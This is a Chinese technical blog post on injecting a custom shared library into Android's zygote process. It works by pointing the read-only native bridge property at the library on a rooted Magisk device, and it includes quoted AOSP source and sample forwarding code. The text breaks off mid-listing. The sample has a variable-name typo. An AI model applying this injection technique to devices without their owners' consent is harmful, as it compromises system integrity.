<content type="html"><![CDATA[<p>之前研究art的时候发现了native bridge,简单来说这东西是主要作用就是为了能运行不同指令集的so(比如x86的设备运行arm的app),而arm设备上这个东西一般都是关闭的,研究了一下后发现这东西挺适合动手脚的,刚好自己在用的<a href="https://github.com/RikkaApps/Riru" target="_blank" rel="noopener">Riru</a>被针对了,所以有了这篇博客。把对应的示例代码传到了github:<a href="https://github.com/canyie/NbInjection" target="_blank" rel="noopener">NbInjection</a>,接下来我们聊一下这个小玩具。</p><a id="more"></a><h2 id="源码分析"><a href="#源码分析" class="headerlink" title="源码分析"></a>源码分析</h2><p>大家都知道的,zygote对应的可执行文件就是app_process,它的main函数代码如下(已精简):</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>* <span class="keyword">const</span> argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="function">AppRuntime <span class="title">runtime</span><span class="params">(argv[<span class="number">0</span>], computeArgBlockSize(argc, argv))</span></span>;</span><br><span class="line"> <span class="comment">// Process command line arguments</span></span><br><span class="line"> <span class="comment">// ignore argv[0]</span></span><br><span class="line"> argc--;</span><br><span class="line"> argv++;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (zygote) {</span><br><span class="line"> runtime.start(<span class="string">"com.android.internal.os.ZygoteInit"</span>, args, zygote);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (className) {</span><br><span class="line"> runtime.start(<span class="string">"com.android.internal.os.RuntimeInit"</span>, args, zygote);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Error: no class name or --zygote supplied.\n"</span>);</span><br><span class="line"> app_usage();</span><br><span class="line"> LOG_ALWAYS_FATAL(<span class="string">"app_process: no class name or --zygote supplied."</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>AppRuntime继承自AndroidRuntime,而AndroidRuntime的代码大概是这样的:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Start the Android runtime. This involves starting the virtual machine</span></span><br><span class="line"><span class="comment"> * and calling the "static void main(String[] args)" method in the class</span></span><br><span class="line"><span class="comment"> * named by "className".</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Passes the main function two arguments, the class name and the specified</span></span><br><span class="line"><span class="comment"> * options string.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> AndroidRuntime::start(<span class="keyword">const</span> <span class="keyword">char</span>* className, <span class="keyword">const</span> Vector<String8>& options, <span class="keyword">bool</span> zygote)</span><br><span class="line">{</span><br><span class="line"> ALOGD(<span class="string">">>>>>> START %s uid %d <<<<<<\n"</span>,</span><br><span class="line"> className != <span class="literal">NULL</span> ? className : <span class="string">"(unknown)"</span>, getuid());</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* start the virtual machine */</span></span><br><span class="line"> JniInvocation jni_invocation;</span><br><span class="line"> jni_invocation.Init(<span class="literal">NULL</span>);</span><br><span class="line"> JNIEnv* env;</span><br><span class="line"> <span class="keyword">if</span> (startVm(&mJavaVM, &env, zygote, primary_zygote) != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> onVmCreated(env);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Register android functions.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">if</span> (startReg(env) < <span class="number">0</span>) {</span><br><span class="line"> ALOGE(<span class="string">"Unable to register all android natives\n"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个函数做的最重要一件事就是把虚拟机启动起来(startVm),然后调用传入类的main方法。<br>追踪这个startVm方法你会发现调用到了Runtime::Init初始化runtime,这个函数很长,截取了一段对我们来说最重要的:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">bool</span> Runtime::Init(RuntimeArgumentMap&& runtime_options_in) {</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> <span class="comment">// Look for a native bridge.</span></span><br><span class="line"> <span class="comment">//</span></span><br><span class="line"> <span class="comment">// The intended flow here is, in the case of a running system:</span></span><br><span class="line"> <span class="comment">//</span></span><br><span class="line"> <span class="comment">// Runtime::Init() (zygote):</span></span><br><span class="line"> <span class="comment">// LoadNativeBridge -> dlopen from cmd line parameter.</span></span><br><span class="line"> <span class="comment">// |</span></span><br><span class="line"> <span class="comment">// V</span></span><br><span class="line"> <span class="comment">// Runtime::Start() (zygote):</span></span><br><span class="line"> <span class="comment">// No-op wrt native bridge.</span></span><br><span class="line"> <span class="comment">// |</span></span><br><span class="line"> <span class="comment">// | start app</span></span><br><span class="line"> <span class="comment">// V</span></span><br><span class="line"> <span class="comment">// DidForkFromZygote(action)</span></span><br><span class="line"> <span class="comment">// action = kUnload -> dlclose native bridge.</span></span><br><span class="line"> <span class="comment">// action = kInitialize -> initialize library</span></span><br><span class="line"> <span class="comment">//</span></span><br><span class="line"> <span class="comment">//</span></span><br><span class="line"> <span class="comment">// The intended flow here is, in the case of a simple dalvikvm call:</span></span><br><span class="line"> <span class="comment">//</span></span><br><span class="line"> <span class="comment">// Runtime::Init():</span></span><br><span class="line"> <span class="comment">// LoadNativeBridge -> dlopen from cmd line parameter.</span></span><br><span class="line"> <span class="comment">// |</span></span><br><span class="line"> <span class="comment">// V</span></span><br><span class="line"> <span class="comment">// Runtime::Start():</span></span><br><span class="line"> <span class="comment">// DidForkFromZygote(kInitialize) -> try to initialize any native bridge given.</span></span><br><span class="line"> <span class="comment">// No-op wrt native bridge.</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> native_bridge_file_name = runtime_options.ReleaseOrDefault(Opt::NativeBridge);</span><br><span class="line"> is_native_bridge_loaded_ = LoadNativeBridge(native_bridge_file_name);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在Runtime::Init里会加载native bridge,LoadNativeBridge()函数是这样实现的:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">LoadNativeBridge</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* nb_library_filename,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">const</span> NativeBridgeRuntimeCallbacks* runtime_cbs)</span> </span>{</span><br><span class="line"> <span class="comment">// We expect only one place that calls LoadNativeBridge: Runtime::Init. At that point we are not</span></span><br><span class="line"> <span class="comment">// multi-threaded, so we do not need locking here.</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (nb_library_filename == <span class="literal">nullptr</span> || *nb_library_filename == <span class="number">0</span>) {</span><br><span class="line"> CloseNativeBridge(<span class="literal">false</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (!NativeBridgeNameAcceptable(nb_library_filename)) {</span><br><span class="line"> CloseNativeBridge(<span class="literal">true</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Try to open the library.</span></span><br><span class="line"> <span class="keyword">void</span>* handle = dlopen(nb_library_filename, RTLD_LAZY);</span><br><span class="line"> <span class="keyword">if</span> (handle != <span class="literal">nullptr</span>) {</span><br><span class="line"> callbacks = <span class="keyword">reinterpret_cast</span><NativeBridgeCallbacks*>(dlsym(handle,</span><br><span class="line"> kNativeBridgeInterfaceSymbol));</span><br><span class="line"> <span class="keyword">if</span> (callbacks != <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="keyword">if</span> (isCompatibleWith(NAMESPACE_VERSION)) {</span><br><span class="line"> <span class="comment">// Store the handle for later.</span></span><br><span class="line"> native_bridge_handle = handle;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> callbacks = <span class="literal">nullptr</span>;</span><br><span class="line"> dlclose(handle);</span><br><span class="line"> ALOGW(<span class="string">"Unsupported native bridge interface."</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> dlclose(handle);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Two failure conditions: could not find library (dlopen failed), or could not find native</span></span><br><span class="line"> <span class="comment">// bridge interface (dlsym failed). Both are an error and close the native bridge.</span></span><br><span class="line"> <span class="keyword">if</span> (callbacks == <span class="literal">nullptr</span>) {</span><br><span class="line"> CloseNativeBridge(<span class="literal">true</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> runtime_callbacks = runtime_cbs;</span><br><span class="line"> state = NativeBridgeState::kOpened;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> state == NativeBridgeState::kOpened;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>发现了什么没有!!是我们熟悉的dlopen!!dlopen会执行目标库的.init_array中的所有函数,而让自己的函数进入.init_array实际上只需要声明<code>__attribute__((constructor))</code>就好了,完全没有难度啊!<br>hey,先冷静一下,我们还有一个问题不知道答案:这个native bridge是从哪传进来的?答案很简单,回过头看一下AndroidRuntime::startVm()就明白了:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Start the Dalvik Virtual Machine.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Various arguments, most determined by system properties, are passed in.</span></span><br><span class="line"><span class="comment"> * The "mOptions" vector is updated.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * CAUTION: when adding options in here, be careful not to put the</span></span><br><span class="line"><span class="comment"> * char buffer inside a nested scope. Adding the buffer to the</span></span><br><span class="line"><span class="comment"> * options using mOptions.add() does not copy the buffer, so if the</span></span><br><span class="line"><span class="comment"> * buffer goes out of scope the option may be overwritten. It's best</span></span><br><span class="line"><span class="comment"> * to put the buffer at the top of the function so that it is more</span></span><br><span class="line"><span class="comment"> * unlikely that someone will surround it in a scope at a later time</span></span><br><span class="line"><span class="comment"> * and thus introduce a bug.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Returns 0 on success.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">int</span> AndroidRuntime::startVm(JavaVM** pJavaVM, JNIEnv** pEnv, <span class="keyword">bool</span> zygote, <span class="keyword">bool</span> primary_zygote)</span><br><span class="line">{</span><br><span class="line"> JavaVMInitArgs initArgs;</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// Native bridge library. "0" means that native bridge is disabled.</span></span><br><span class="line"> <span class="comment">//</span></span><br><span class="line"> <span class="comment">// Note: bridging is only enabled for the zygote. Other runs of</span></span><br><span class="line"> <span class="comment">// app_process may not have the permissions to mount etc.</span></span><br><span class="line"> property_get(<span class="string">"ro.dalvik.vm.native.bridge"</span>, propBuf, <span class="string">""</span>);</span><br><span class="line"> <span class="keyword">if</span> (propBuf[<span class="number">0</span>] == <span class="string">'\0'</span>) {</span><br><span class="line"> ALOGW(<span class="string">"ro.dalvik.vm.native.bridge is not expected to be empty"</span>);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (zygote && <span class="built_in">strcmp</span>(propBuf, <span class="string">"0"</span>) != <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">snprintf</span>(nativeBridgeLibrary, <span class="keyword">sizeof</span>(<span class="string">"-XX:NativeBridge="</span>) + PROPERTY_VALUE_MAX,</span><br><span class="line"> <span class="string">"-XX:NativeBridge=%s"</span>, propBuf);</span><br><span class="line"> addOption(nativeBridgeLibrary);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> initArgs.version = JNI_VERSION_1_4;</span><br><span class="line"> initArgs.options = mOptions.editArray();</span><br><span class="line"> initArgs.nOptions = mOptions.size();</span><br><span class="line"> initArgs.ignoreUnrecognized = JNI_FALSE;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Initialize the VM.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * The JavaVM* is essentially per-process, and the JNIEnv* is per-thread.</span></span><br><span class="line"><span class="comment"> * If this call succeeds, the VM is ready, and we can start issuing</span></span><br><span class="line"><span class="comment"> * JNI calls.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">if</span> (JNI_CreateJavaVM(pJavaVM, pEnv, &initArgs) < <span class="number">0</span>) {</span><br><span class="line"> ALOGE(<span class="string">"JNI_CreateJavaVM failed\n"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>原来是读取的<code>ro.dalvik.vm.native.bridge</code>这个系统属性啊,等等,这个属性名字是以<code>.ro</code>开头的,也就代表着这个属性是只读的,一旦设置不能修改…… 另一个问题是,这个属性定义在default.prop中,而非常规的build.prop,这个文件改不了,每次开机都会重新读取,那还玩啥啊,拜拜……<br>等等!谁说这条属性就只能由厂商修改了?</p><h2 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h2><p>我拿来测试的设备是一台Google Pixel 3(Android 10,Magisk 20.4),因为有magisk所以直接写成了magisk模块;没有magisk的话可以考虑修改ramdisk.img(此方法同样适用于模拟器),将default.prop中的ro.dalvik.vm.native.bridge修改为我们的so文件名就好了(注意文件必须在系统的lib下面)<br>这里就当你把环境配置好了吧,让我们继续:<br>写一个函数,往里面写入代码,加上<code>__attribute__((constructor))</code>,编译,放/system/lib64和/system/lib下面,修改<code>ro.dalvik.vm.native.bridge</code>为我们的文件名,重启,成功,完结撒花……</p><p>当然不可能这么容易,此时虽然你已经把代码成功注入到了zygote进程,但是还有一些问题要处理,让我们来细数一下。</p><h3 id="系统原有的native-bridge被覆盖"><a href="#系统原有的native-bridge被覆盖" class="headerlink" title="系统原有的native bridge被覆盖"></a>系统原有的native bridge被覆盖</h3><p>native bridge这东西对arm设备上来说基本没啥用,然而对x86设备来说,没有这玩意你就没法用只支持arm的app,也就是说你连微信都用不了……<br>要解决这个问题,还是得看源码,看看系统是怎么调用的native bridge里的函数:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span>* <span class="title">NativeBridgeGetTrampoline</span><span class="params">(<span class="keyword">void</span>* handle, <span class="keyword">const</span> <span class="keyword">char</span>* name, <span class="keyword">const</span> <span class="keyword">char</span>* shorty,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">uint32_t</span> len)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (NativeBridgeInitialized()) {</span><br><span class="line"> <span class="keyword">return</span> callbacks->getTrampoline(handle, name, shorty, len);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nullptr</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>是用的一个叫callbacks的全局变量啊,看下这个callbacks是啥:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Native bridge interfaces to runtime.</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">NativeBridgeCallbacks</span> {</span></span><br><span class="line"> <span class="comment">// Version number of the interface.</span></span><br><span class="line"> <span class="keyword">uint32_t</span> version;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">bool</span> (*initialize)(<span class="keyword">const</span> struct NativeBridgeRuntimeCallbacks* runtime_cbs,</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span>* private_dir, <span class="keyword">const</span> <span class="keyword">char</span>* instruction_set);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">void</span>* (*loadLibrary)(<span class="keyword">const</span> <span class="keyword">char</span>* libpath, <span class="keyword">int</span> flag);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">void</span>* (*getTrampoline)(<span class="keyword">void</span>* handle, <span class="keyword">const</span> <span class="keyword">char</span>* name, <span class="keyword">const</span> <span class="keyword">char</span>* shorty, <span class="keyword">uint32_t</span> len);</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// Pointer to the callbacks. Available as soon as LoadNativeBridge succeeds, but only initialized</span></span><br><span class="line"><span class="comment">// later.</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">const</span> NativeBridgeCallbacks* callbacks = <span class="literal">nullptr</span>;</span><br></pre></td></tr></table></figure><p>原来是一个指向NativeBridgeCallbacks的指针,这个叫做NativeBridgeCallbacks的结构体里包含函数指针,运行时会找到对应的函数指针然后调用。<br>这个变量是在哪初始化的呢:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// The symbol name exposed by native-bridge with the type of NativeBridgeCallbacks.</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">constexpr</span> <span class="keyword">const</span> <span class="keyword">char</span>* kNativeBridgeInterfaceSymbol = <span class="string">"NativeBridgeItf"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">LoadNativeBridge</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* nb_library_filename,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">const</span> NativeBridgeRuntimeCallbacks* runtime_cbs)</span> </span>{</span><br><span class="line"> <span class="comment">// Try to open the library.</span></span><br><span class="line"> <span class="keyword">void</span>* handle = dlopen(nb_library_filename, RTLD_LAZY);</span><br><span class="line"> <span class="keyword">if</span> (handle != <span class="literal">nullptr</span>) {</span><br><span class="line"> callbacks = <span class="keyword">reinterpret_cast</span><NativeBridgeCallbacks*>(dlsym(handle,</span><br><span class="line"> kNativeBridgeInterfaceSymbol));</span><br><span class="line"> <span class="keyword">if</span> (callbacks != <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="keyword">if</span> (isCompatibleWith(NAMESPACE_VERSION)) {</span><br><span class="line"> <span class="comment">// Store the handle for later.</span></span><br><span class="line"> native_bridge_handle = handle;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> callbacks = <span class="literal">nullptr</span>;</span><br><span class="line"> dlclose(handle);</span><br><span class="line"> ALOGW(<span class="string">"Unsupported native bridge interface."</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> dlclose(handle);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> state == NativeBridgeState::kOpened;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>是从native bridge的so库中找到的,对应符号是<code>NativeBridgeItf</code>。<br>既然系统是这样做的,那我们就顺着系统来,在合适的时候偷梁换柱一下。<br>首先声明一个对应类型的变量NativeBridgeItf:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__attribute__ ((visibility (<span class="string">"default"</span>))) NativeBridgeCallbacks NativeBridgeItf;</span><br></pre></td></tr></table></figure><p>注:如果你使用c++,记得加上<code>extern "C"</code>。<br>然后,在系统dlopen我们的库时,会执行<code>.init_array</code>里的函数,我们可以在这里动手脚:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (real_nb_filename[<span class="number">0</span>] == <span class="string">'\0'</span>) {</span><br><span class="line"> LOGW(<span class="string">"ro.dalvik.vm.native.bridge is not expected to be empty"</span>);</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(real_nb_filename, <span class="string">"0"</span>) != <span class="number">0</span>) {</span><br><span class="line"> LOGI(<span class="string">"The system has real native bridge support, libname %s"</span>, real_nb_filename);</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span>* error_msg;</span><br><span class="line"> <span class="keyword">void</span>* handle = dlopen(real_nb_filename, RTLD_LAZY);</span><br><span class="line"> <span class="keyword">if</span> (handle) {</span><br><span class="line"> <span class="keyword">void</span>* real_nb_itf = dlsym(handle, <span class="string">"NativeBridgeItf"</span>);</span><br><span class="line"> <span class="keyword">if</span> (real_nb_itf) {</span><br><span class="line"> <span class="comment">// sizeof(NativeBridgeCallbacks) maybe changed in other android version</span></span><br><span class="line"> <span class="built_in">memcpy</span>(&NativeBridgeItf, real_nb_itf, <span class="keyword">sizeof</span>(NativeBridgeCallbacks));</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> errro_msg = dlerror();</span><br><span class="line"> dlclose(handle);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> errro_msg = dlerror();</span><br><span class="line"> }</span><br><span class="line"> LOGE(<span class="string">"Could not setup NativeBridgeItf for real lib %s: %s"</span>, real_nb_filename, error_msg);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>简单解释一下:系统是通过读取我们的<code>NativeBridgeItf</code>这个变量来获取要执行的对应函数的,那我们就可以仿照系统,从真正的native bridge中读取这个变量,覆盖掉我们暴露出去的那个<code>NativeBridgeItf</code>,这样就会走真实的native bridge callbacks。<br>注:这里还有个坑,NativeBridgeCallbacks这个结构体的大小在其他系统版本是不同的,如果只复制固定大小,要么复制不全要么越界;所以这里需要按照版本判断一下。</p><h3 id="无法驻留在内存中"><a href="#无法驻留在内存中" class="headerlink" title="无法驻留在内存中"></a>无法驻留在内存中</h3><p>当你兴致勃勃地写好了代码,运行时你会发现各种奇怪的bug,排查N遍后你才发现,你写好的这个so在内存中不知道什么时候消失了??<br>让我们看看系统的那个LoadNativeBridge:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span>* handle = dlopen(nb_library_filename, RTLD_LAZY);</span><br><span class="line"><span class="keyword">if</span> (handle != <span class="literal">nullptr</span>) {</span><br><span class="line"> callbacks = <span class="keyword">reinterpret_cast</span><NativeBridgeCallbacks*>(dlsym(handle, kNativeBridgeInterfaceSymbol));</span><br><span class="line"> <span class="keyword">if</span> (callbacks != <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="keyword">if</span> (isCompatibleWith(NAMESPACE_VERSION)) {</span><br><span class="line"> <span class="comment">// Store the handle for later.</span></span><br><span class="line"> native_bridge_handle = handle;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> callbacks = <span class="literal">nullptr</span>;</span><br><span class="line"> dlclose(handle);</span><br><span class="line"> ALOGW(<span class="string">"Unsupported native bridge interface."</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> dlclose(handle);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>如果<code>isCompatibleWith</code>这个函数返回false,那么就会close掉我们的so库。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 